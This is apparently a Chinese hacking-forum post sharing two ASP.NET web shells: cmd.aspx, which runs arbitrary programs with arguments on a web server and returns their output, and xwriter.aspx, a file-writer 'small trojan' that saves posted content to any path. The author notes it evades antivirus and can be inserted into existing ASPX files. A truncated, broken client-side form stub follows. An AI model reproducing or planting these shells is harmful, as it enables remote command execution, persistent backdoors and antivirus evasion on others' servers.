两个有用的ASP.Net小程序
一、cmd.aspx
在邪恶八进制论坛（PS：有谁知道为什么最近几天这论坛打不开啊）有朋友提出WebAdmin执行命令不能带参数的问题，偶找了个BT主机来试试，果然有问题，就把以前那个cmd.aspx改了改，就请凑合着用先。WebAdmin 2.X的下个版本将修复这个问题J
把一下代码复制保存为一.aspx文件即可：
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text)
myProcessStartInfo.UseShellExecute = False
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xCmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub
</script>

<p>
<asp:Label id="result" style="COLOR: #0000ff" runat="server"></asp:Label>
</p>
</form>
</body>
</html>
二、xwriter.aspx
记得有个ASP下的小马就是利用FSO把提交的文本信息保存为一个文件，虽然体积比eval大些但是代码完全合法，杀毒软件也不会找茬的。呵呵，以下代码就是在ASP.NET实现这功能（自己拿去改改还可以插入ASPX文件哦）：
<%@ Page Language="VB" %>
<%@ import Namespace="System.IO" %>
<script runat="server">
Sub Page_load(sender As Object, E As EventArgs)
dim mywrite as new streamwriter(request.form("path"), true, encoding.default)
mywrite.write(request.form("content"))
mywrite.close
response.write("Done!")
End Sub
</script>
以下是客户端，复制下来保存为htm文件：

<script language="javascript">

var url = document.form1.url.value;

form1.submit();
}
</script>
